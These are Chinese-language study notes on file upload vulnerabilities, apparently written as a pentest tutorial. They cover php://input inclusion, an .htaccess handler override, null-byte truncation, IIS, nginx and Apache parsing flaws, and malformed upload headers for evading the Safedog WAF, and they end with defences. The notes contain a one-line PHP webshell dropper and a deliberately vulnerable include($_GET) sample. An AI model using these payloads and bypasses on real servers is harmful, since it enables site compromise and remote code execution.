文件上传漏洞及其绕过、对策、过狗

1.  文件包含上传：

php://input属于php内置的封装协议，其实都主要是include（）函数处理不当

如果有文件是以下写法，xxx随便：

<?php
  include($_GET['xxx']);
 ?>

以上保存到test.php，

我们访问http://127.0.0.1/test.php?xxx=php://input

然后我们通过POST提交php代码。在hackbar的POST区可利用此写入一句话木马：

<?php fwrite(fopen("payload.php","w"),'<?php eval($_POST["cc"]);?>');?>

效果就是test.php相同目录下生成payload.php，内容就是一句话木马。

 2.。htaccess

<FilesMatch "2232">
    SetHandler application/x-httpd-php
</FilesMatch>

。htaccess是一个分布式配置文件，阿帕奇的。与jpg分别上传至同意目录，可以让jpg解析为php

 ，用于对付黑名单，且可以用来权限维持

3.MIME：burp修改就可以解决

4.js：禁用浏览器js、修改删除本地js

5.后缀名%00截断

 将文件名改为muma.php%00.jpg，在burp里将%00右键转码为urldecode

或者命名为muma.php.jpg，在burp里将.php后面加一个空格，转到hex里，因为空格的编码是%20，hex找到20将棋改名为00.

事实上%00 0x00这些原理都是一样的。中间件在探测到00（null）就认为后面没有了，俗称截断。这是后端接收到的认为就是muma.php

防御：在缓冲区再做一次校验

本次学习用的测试代码demo：
<?php
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
echo $_FILES["file"]["size"];
$extension = end($temp);     // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
&& in_array($extension, $allowedExts))
{
    if ($_FILES["file"]["error"] > 0)
    {
        echo "错误：: " . $_FILES["file"]["error"] . "<br>";
    }
    else
    {
        echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
        echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
        echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
        echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
        
        // 判断当期目录下的 upload 目录是否存在该文件
        // 如果没有 upload 目录，你需要创建它，注意upload目录权限 
        if (file_exists("upload/" . $_FILES["file"]["name"]))
        {
            echo $_FILES["file"]["name"] . " 文件已经存在。 ";
        }
        else
        {
            // 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
            move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
            echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
        }
    }
}
else
{
    echo "非法的文件格式";
}
?>

6.中间件解析漏洞

一。 iis6.0 （没有补丁，一定存在此漏洞，除非站长自己修复

文件正常地址

www.xxx.com/logo.jpg

触发漏洞地址：

将文件命名为logo.asp;.xxx.jpg或logo.asp;.jpg

并浏览器访问www.xxx.com/logo.asp;.xxx.jpg，或logo.asp;.jpg会把文件logo.asp;.xxx.jpg解析为asp。(脚本格式随意)

文件夹正常地址：

www.xxx.com/image/logo.jpg

触发漏洞地址

将logo.jpg放在image.asp文件夹下，并访问

www.xxx.com/image.asp/logo.jpg(脚本格式随意)

会把logo.jpg解析成为asp

二。 iis7.x nginx  探索哪些nginx低版本会存在漏洞（有补丁，可能会有网站打补丁修复）

该解析漏洞利用需两个条件：

1.        php.ini里cgi.fix_pathinfo=1(默认为1)

2.        在”Handler Mapping”中取消勾选以下内容：

 

解决方案：

1.      配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序

2.      在”Handler Mapping”勾选php-cgi.exe程序的”Invoke handler only if request is mapped to”

 

3.      重新配置iis，使用ISAPI的方式(注意：PHP5.3.1已经不支持ISAPI方式)。

三。nginx解析漏洞：

利用：

正常地址：

www.xxx.com/logo.jpg

如果存在漏洞：

文件命名logo.jpg,命名不变，但是如果我们访问：

www.xxx.com/logo.jpg/*.php ，会将文件解析为php，此漏洞只能将文件解析成php

 localhost/img/1.jpg 是正常地访问一张图片，而 localhost/img/1.jpg/1.php 却会把这张图片作为PHP文件来执行

条件：

新版本的php引入了“security.limit_extensions”，限制了可执行文件的后缀，默认只允许执行.php文件。来做进一步测试。找到php5-fpm配置文件php-fpm.conf，若不知道在哪，可用如下命令搜索：

  sudo find / -name php-fpm.conf

我的测试环境中，该文件位于/etc/php5/fpm/php-fpm.conf。修改该文件中的“security.limit_extensions”，添加上.jpg，添加后如下所示：

  security.limit_extensions = .php .jpg

这样，php便认为.jpg也是合法的php文件后缀了，再在浏览器中访问 http://127.0.0.1/test.jpg/test.php ，看到php被成功执行

四。Apache（有补丁，可能会被打补丁修复，探索哪些版本会有漏洞，原理：向上解析，不识别，继续向上）

正常地址：www.xxx.com/logo.jpg

如果存在漏洞：www.xxx.com/logo.jpg.php.xxx

将文件命名为logo.jpg.php.xxx。 如果xxx  apache不识别此格式，则向上解析php，假如还不识别继续向上解析。

先来看测试过程和结果的对比吧。

结果一

首先，我安装了apache 2.x版本，同时以module方式使apache与php结合，测试发现确实存在这样的解析漏洞。

 

结果二

然后，我将apache与php的结合方式修改为fastcgi方式，测试发现爆500错误，不存在这样的解析漏洞。

 

错误提示：

1Bad file descriptor: mod_fcgid: don't know how to spawn child process: f4ck.php.x

意思就是不知道该如何解析这个文件。

结果出来了，那么对于影响范围这块，在目前所有的apache版本中均存在此问题，但只适用于以module方式解析php的apache，使用fastcgi方式解析php的apache不受影响，使用cgi方式解析php的apache是否影响未测试。

下面来简单分享一下测试过程中我发现的一点经验。

先看一下apache的主配置文件httpd.conf，搜索“DefaultType”，就可以看到这么一段注释和默认配置：

#

# DefaultType: the default MIME type the server will use for a document

# if it cannot otherwise determine one, such as from filename extensions.

# If your server contains mostly text or HTML documents, "text/plain" is

# a good value. If most of your content is binary, such as applications

# or images, you may want to use "application/octet-stream" instead to

# keep browsers from trying to display binary files as though they are

# text.

#10DefaultType text/plain

DefaultType存在的意义是告诉apache该如何处理未知扩展名的文件，比如f4ck.xxx这样的文件，扩展名是xxx，这肯定不是一个正常的网页或脚本文件，这个参数就是告诉apache该怎么处理这种未知扩展名的文件。

参数DefaultType的默认值是“text/plain”，也就是遇到未知扩展名的文件，就把它当作普通的txt文本或html文件来处理。

 

 7.

Filepath修改上传

针对本地， 服务端名称不一致的情况，虽然可以通过文件夹命名形式利用解析漏洞，但是一般情况很难在服务端创建所需要的文件夹，当然不是不能够创建，我们也可以利用编辑器漏洞来达到目的，现在要说的是不通过文件夹解析漏洞。 
在这里我们上传文件时通过burpsuite抓包，然后修改数据包里的内容，举例

 

原本filepath后内容是upfile，我们抓包获得之后可以在后面加上.asp,这样就使得upfile文件夹变成upfile.asp, 就可以触发上述文件夹命名格式的解析漏洞。 也可以在upfile/后面加上xx.asp; 这样上传的文件就变成了xx.asp;201510233(服务端自动命名).jpg， 可以触发解析漏洞达到访问目的。

过狗：

上传数据包：

 

Content-Disposition: form-data; name="upfile"; filename=x.php;

Content-Type: image/jpeg

Content-Disposition：

Name：上传数据包参数名

Filename：文件名

Content-Type：文件类型信息

 方法：

1.修改filename值，去掉双引号加上分号。原理：分号代表语句没有结束，结束语句后不带分号，所以上传的shell.php没有识别为文件名，而被识别为函数，所以就接着从后面开始找

2.删除Content-Disposition的值(form-data)     原理：表示我没有数据要提交，乱写：接受的不是表单值而是其他

一、对上传的文件，返回数据包时隐藏上传文件的路径。上传后的文件自动随机重命名

 

二、服务器端的安全过滤，对上传文件的类型、以及后缀名进行严格的把控。

 

三、上传类型进行安全限制，JS前端以及后端一起做双层的安全限制，对文件的扩展名安全检

测，（白名单）MIME文件类型安全检测，上传的文件大小限制。后台做渲染尝试、缓冲区再做验证

 

四、对上传的目录进行文件夹安全限制，去掉目录的脚本执行权限，